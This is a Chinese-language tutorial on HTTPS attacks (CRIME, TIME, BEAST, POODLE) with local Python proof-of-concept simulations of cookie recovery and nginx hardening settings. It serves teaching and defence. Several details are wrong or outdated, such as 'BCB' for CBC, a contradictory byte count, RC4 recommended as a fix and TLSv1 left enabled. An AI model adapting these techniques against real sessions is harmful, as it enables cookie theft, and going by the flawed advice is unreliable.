常見HTTPS攻擊方法解析
0x00 背景
研究常見的https攻擊方法
Beast crime breach,并針對https的特性提出一些安全部署https的建議。
針對于HTTPS的攻擊,多存在于中間人攻擊的環境中,主要是針對于HTTPS所使用的壓縮算法和CBC加密模式,進行side-channel-attack。這幾類攻擊的前置條件都比較苛刻,且都需要受害主機提交很多次請求來收集破譯關鍵數據的足夠信息。
常見的攻擊方法,主要有,BEAST、Lucky-13、RC4 Biases、CRIME、TIME、BREACH等。主要對其中幾種進行介紹。
0x01 CRIME
Compression Ratio Info-leak Made Easy
攻擊原理
攻擊者控制受害者發送大量請求,利用壓縮算法的機制猜測請求中的關鍵信息,根據response長度判斷請求是否成功。
如下面的https頭,攻擊這可以控制的部分為get請求地址,想要猜測的部分為Cookie。那么攻擊者只需要在GET地址處,不斷變換猜測字符串,進行猜測。
GET /sessionid=a HTTP/1.1
Host: bank.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)
Gecko/20100101 Firefox/16.0
Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924GET /sessionid=a HTTP/1.1
Host: bank.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)
Gecko/20100101 Firefox/16.0
Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924
比如上面的情況Response長度為 1000byte。
GET /sessionid=d HTTP/1.1
Host: bank.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0)
Gecko/20100101 Firefox/16.0
Cookie: sessionid=d3b0c44298fc1c149afbf4c8996fb924
當攻擊者猜對了cookie的第一個字母,Response的長度會縮小到9999byte。
當Response被SSL加密之后,如果使用RC4加密模式,長度并不會發生隨機改變。使用BCB加密模式時,因為padding的原因,長度會有略微的改變。
受影響的加密算法
Deflate = LZ77 + HuffMan GZip = Headers + Data Compressed using Deflate
攻擊前提
攻擊者可以獲取受害者的網絡通信包。(中間人攻擊,ISP供應商)
瀏覽器和服務器支持均支持并使用壓縮算法。
攻擊這可以控制受害者發送大量請求并可以控制請求內容。
防御方法
客戶端可以升級瀏覽器來避免這種攻擊。
▪ Chrome: 21.0.1180.89 and above
▪ Firefox: 15.0.1 and above
▪ Opera: 12.01 and above
▪ Safari: 5.1.7 and above
服務器端可以通過禁用一些加密算法來防止此類攻擊。
Apache • SSLCompression flag = “SSLCompression off” • GnuTLSPriorities flag = “!COMP-DEFLATE"
禁止過于頻繁的請求。
修改壓縮算法流程,用戶輸入的數據不進行壓縮。
隨機添加長度不定的垃圾數據。
TLS 1.0.
SPDY protocol (Google).
Applications that uses TLS compression.
Mozilla Firefox (older versions) that support SPDY.
Google Chrome (older versions) that supported both TLS and SPDY.
POC
這個poc并不是模擬真實環境下的中間人攻擊,只是在python中利用CRIME的思想驗證了攻擊的可行性。
- import string
- import zlib
- import sys
- import random
- charset = string.letters + string.digits
- COOKIE = ''.join(random.choice(charset) for x in range(30))
- HEADERS = ("POST / HTTP/1.1\r\n"
- "Host: thebankserver.com\r\n"
- "Connection: keep-alive\r\n"
- "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
- "Accept: */*\r\n"
- "Referer: https://thebankserver.com/\r\n"
- "Cookie: secret="+COOKIE+"\r\n"
- "Accept-Encoding: gzip,deflate,sdch\r\n"
- "Accept-Language: en-US,en;q=0.8\r\n"
- "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
- "\r\n")
- BODY = ("POST / HTTP/1.1\r\n"
- "Host: thebankserver.com\r\n"
- "Connection: keep-alive\r\n"
- "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
- "Accept: */*\r\n"
- "Referer: https://thebankserver.com/\r\n"
- "Cookie: secret=")
- cookie = ""
- def compress(data):
- c = zlib.compressobj()
- return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
- def getposset(perchar,chars):
- posset = []
- baselen = len(compress(HEADERS+perchar))
- for i in chars:
- t = len(compress(HEADERS+ perchar+i))
- if (t<=baselen):
- posset += i
- return posset
- def doguess():
- global cookie
- while len(cookie)<30:
- posset = getposset(BODY+cookie,charset)
- trun = 1
- tem_posset = posset
- while 1<len(posset):
- tem_body = BODY[trun:]
- posset = getposset(tem_body+cookie,tem_posset)
- trun = trun +1
- if len(posset)==0:
- return False
- cookie += posset[0]
- print posset[0]
- return True
- while BODY.find("\r\n")>=0:
- if not doguess():
- print "(-)Changebody"
- BODY = BODY[BODY.find("\r\n") + 2:]
- print "(+)orign cookie"+COOKIE
- print "(+)Gotten cookie"+cookie
#p#
0x02 TIME
Timing Info-leak Made Easy
攻擊原理
攻擊者控制受害者發送大量請求,利用壓縮算法的機制猜測請求中的關鍵信息,根據response響應時間判斷請求是否成功。其實TIME和CRIME一樣都利用了壓縮算法,只不過CRIME是通過長度信息作為輔助,而TIME是通過時間信息作為輔助。
Unable to render embedded object: File (1.jpg) not found.
如上圖當數據長度,大于MTU時會截斷為兩個包發送,這樣就會產生較大的相應時間差異。攻擊者吧包長控制在MTU左右,不斷嘗試猜測COOKIE。 Unable to render embedded object: File (QQ圖片20140724174303.jpg) not found.
如上圖所示,我們通過添加Padding來吧數據包大小增加到和MTU相等,Case 1中我們添加的extraByte和需要猜測的數據重合,因為壓縮算法的原因,并不會增加包的長度,而Case 2中extraByte和需要猜測的數據并不一致,導致了分包。攻擊這可以通過響應時間的不同來區分Case1 Case2兩種情況。
攻擊前提
攻擊這可以控制受害者發送大量請求并可以控制請求內容。
穩定的網絡環境。
防御方法
在解密Response過程中加入隨機的短時間延遲。
阻止短時間內的頻繁請求。
0x03 BEAST
Browser Exploit Against SSL/TLS
攻擊原理
攻擊者控制受害者發送大量請求,利用CBC加密模式猜測關鍵信息。
CBC模式工作的方法是當加密第i塊的時候,和第i-1塊的密文異或。更正式地表達如下:
Ci= E(Key, Ci-1 ⊕ Mi)
很顯然,當你加密第一塊的時候,沒有前一塊的密文和它異或,因此,標準的做法是產生一個隨機的初始化向量(IV),并且用它和第一塊明文異或。第一塊M0的加密如下:
C0= E(Key, IV ⊕ M0).
然后,接著第一塊M1加密如下:
C1= E(Key, C0 ⊕ M1).
現在,除非C0 碰巧和IV一樣(這是非常不可能的),那么,即使M0 = M1,對于加密函數來說,兩個輸入是不同的,因此,C0≠ C1。 CBC有兩種的基本的使用方法:
1. 對于每條記錄都認為是獨立的;為每一個記錄產生一個IV
2. 把所有的記錄當作一個鏈接在一起的大對象,并且在記錄之間繼續使用CBC的狀態。這意味著最后一條記錄n的IV是n-1條記錄的密文。
SSLV3和TLS1.0選擇的是第二個用法。這好像本來就是個錯誤
CBC有兩種的基本的使用方法:
1. 對于每條記錄都認為是獨立的;為每一個記錄產生一個IV
2. 把所有的記錄當作一個鏈接在一起的大對象,并且在記錄之間繼續使用CBC的狀態。這意味著最后一條記錄n的IV是n-1條記錄的密文。
SSL 3.0和TLS1.0選擇的是第二個用法。因此產生了加密算法的安全問題。
攻擊者可以把想要猜測的數據段替換掉成:
X ⊕ Ci-1 ⊕ P
當這個注入的內容被加密,X會被異或,結果傳給加密算法的明文塊如下:
Ci-1 ⊕ P
如果P==Mi , 新的密文塊將和Ci一樣,這意味著,你的猜測是正確的。
攻擊前提
攻擊者可以獲取受害者的網絡通信包。(中間人攻擊,ISP供應商)
攻擊者需要能得到發送敏感數據端的一部分權限。以便將自己的信息插入SSL/TLS會話中。
攻擊者需要準確的找出敏感數據的密文段。
攻擊這可以控制受害者發送大量請求并可以控制請求內容。
防御方法
使用RC4加密模式代替BCB加密模式。
部署TLS 1.1或者更高級的版本,來避免SSL 3.0/TLS 1.0帶來的安全問題。
在服務端設置每傳輸固定字節,就改變一次加密秘鑰。
影響范圍
TLS 1.0. SPDY protocol (Google). Applications that uses TLS compression. Mozilla Firefox (older versions) that support SPDY. Google Chrome (older versions) that supported both TLS and SPDY.
POC
僅在python上模擬了攻擊思想的實現,編碼中只實現了第一個字母的猜測。
- import sys
- import string
- import random
- from Crypto.Cipher import AES
- key = 'lyp62/22Sh2RlXJF'
- mode = AES.MODE_CBC
- vi = '1234567812345678'
- charset = string.letters + string.digits
- cookie = ''.join(random.choice(charset) for x in range(30))
- HEADERS = ("POST / HTTP/1.1\r\n"
- "Host: thebankserver.com\r\n"
- "Connection: keep-alive\r\n"
- "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
- "Accept: */*\r\n"
- "Referer: https://thebankserver.com/\r\n"
- "Cookie: secret="+cookie+"\r\n"
- "Accept-Encoding: gzip,deflate,sdch\r\n"
- "Accept-Language: en-US,en;q=0.8\r\n"
- "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
- "\r\n")
- global pad_num
- def add_padding(plaintext):
- global pad_num
- pad_num = 16 - len(plaintext) % 16
- for i in range(0,pad_num):
- plaintext += chr(pad_num)
- return plaintext
- def check_padding(plaintext):
- global pad_num
- for i in range(1,pad_num+1):
- if (plaintext[-i]!=chr(pad_num)):
- return False
- return True
- def encrypto(plaintext):
- global pad_num
- obj = AES.new(key,mode,vi)
- if (len(plaintext) % 16):
- plaintext = add_padding(plaintext)
- else:
- pad_num=0
- ciphertext = obj.encrypt(plaintext)
- if (check_padding(ciphertext)):
- return ciphertext
- else:
- return 0
- def decrypto(ciphertext):
- obj = AES.new(key,mode,vi)
- plaintext = obj.decrypt(ciphertext)
- return plaintext
- def findcookie():
- global HEADERS
- return HEADERS.find('secret=')+7
- guess_cookie=''
- pos_cookie=findcookie()
- pos_block_s = pos_cookie + 16 - pos_cookie%16
- HEADERS = HEADERS[:pos_cookie] + (16 - pos_cookie % 16 + 15)*'a' +HEADERS[pos_cookie:]
- encry_head = encrypto(add_padding(HEADERS))
- per_per_block = encry_head[pos_block_s - 16:pos_block_s] #Ci-1
- per_block = encry_head[pos_block_s:pos_block_s+16] #x
- aft_block = encry_head[pos_block_s+16:pos_block_s+32] #Ci+1
- for i in charset:
- guess_block = 'a' * 15 + i
- insert_block = ''.join(chr(ord(a) ^ ord(b) ^ ord(c)) for a,b,c in zip(per_block,per_per_block,guess_block))
- temp_header = HEADERS[:pos_block_s+16] + insert_block + HEADERS[pos_block_s+16:]
- encry_temp_header = encrypto(add_padding(temp_header))
- if (aft_block == encry_temp_header[pos_block_s+32:pos_block_s+48]):
- print "(+)first byte is:"+i
- print "(+)orign cookie:"+cookie
攻擊者首先使用降級攻擊,來讓瀏覽器使用ssl v3.0,再通過ssl v3.0 CBC-mode 存在的缺陷,竊取到用戶傳輸的明文。#p#
0x04 POODLE
降級攻擊
ssl v3.0是一個存在了很久的協議了,現在大多數瀏覽器為了兼容性都會支持這個協議,但是并不會首先使用這個協議,中間人攻擊者可以駁回瀏覽器協商高版本協議的請求,只放行ssl v3.0協議。
Padding Oracle攻擊
針對于CBC的攻擊之前已經有一些了,比如,Beast,Lucky17之類的,詳細可以看這里
首先來看CBC-mod的加解密流程。
解密流程
加密流程
校驗流程
MAC1 = hash(明文)
密文 = Encode(明文+MAC1+Padding,K) 明文 = Decode(密文,k) - MAC1-Padding(padding的長度由最后一個字節標識)
MAC2 = hash(明文) 如果 MAC1 == MAC2 則校驗成功 否則失敗
知二求三
Padding Oracle 攻擊一般都會滿足一個知二求三的規律,如下圖
(1) VI
(2) 解密后的數據,叫它 midText把
(3) Plaintext
這三個值我們得到其中兩個就可以推出另外一個,因為他們在一起Xor了嘛。
http://drops.wooyun.org/wp-content/uploads/2014/12/file0004.jpg
在Poodle攻擊中,我們會把最后一個數據塊替換成我們想要猜測的數據塊。如下圖所示。
這樣導致的直接后果就是,CBC完整性驗證失敗,數據包被駁回。我們假設最后一個數據塊均為padding組成(其實我們可以通過控制包的長度來達到這一目的,比如增加path的長度)
那么當且僅當Plaintext[7] == 7(block為16為時為15) 的時候CBC完整性校驗才會通過。如果不為7,多刪或者少刪的padding,都會影響到MAC的正確取值,從而導致校驗失敗。
那么,我們只需要不斷地更改(1) IV 最后一位的值 ,直到(3) Plaintext最后一位為 7 (CBC驗證通過)的時候,我們就可以推出 (2) mid text 的最后一位。
#p#
0x05 安全配置建議
此處的安全配置以nginx為例,主要在Nginx.conf中配置。
使用較為安全的SSL加密協議。
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
使用嚴格的加密方法設置。
ssl_ciphers 'ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!CAMELLIA:!DES:!MD5:!PSK:!RC4';
優先依賴服務器密碼。
ssl_prefer_server_ciphers on;
啟用HSTS協議。
add_header Strict-Transport-Security max-age=15768000;
重定向的配置
server { listen 80; add_header Strict-Transport-Security max-age=15768000; return 301 https://www.yourwebsite.com$request_uri; }
使用2048位的數字證書
openssl dhparam -out dhparam.pem 2048 ssl_dhparam /path/to/dhparam.pem;
【編輯推薦】